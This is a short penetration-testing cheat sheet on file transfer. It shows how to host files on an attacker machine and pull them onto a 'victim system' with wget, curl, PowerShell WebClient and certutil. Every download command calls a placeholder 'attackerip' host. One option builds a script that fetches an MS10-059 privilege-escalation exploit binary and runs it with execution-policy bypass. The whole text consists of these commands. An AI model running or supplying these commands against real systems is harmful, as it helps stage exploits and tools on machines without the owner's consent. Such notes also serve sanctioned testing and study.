4 - File Transfer

LINUX

#Firstly, we create a web server on our own machine;
 python -m SimpleHTTPServer <port>

#Then we get our file over the webserver;
 wget http://attackerip/file
 curl http://attackerip/file > file

------------------------------------------------------------------------------------------------------------------------------

WINDOWS

#Firstly, we create a web server on our own machine;
 python -m SimpleHTTPServer <port>

OPTION 1:

#Then we get our file over the webserver;
 powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://attackerip/WindowsEnum/WindowsEnum.ps1','C:\Users\Public\Downloads\WindowsEnum.ps1')

OPTION 2:

#We run the following commands on the victim system, respectively;
 echo $webclient = New-Object System.Net.WebClient >>wget.ps1
 echo $url = "http://attackerip:port/Chimichurri.exe" >>wget.ps1
 echo $file = "ms10-059-exploit.exe" >>wget.ps1
 echo $webclient.DownloadFile($url,$file) >>wget.ps1
 powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1


OPTION 3:

#Then we get our file over the webserver;
 certutil.exe -urlcache -split -f "http://attackerip/file.exe"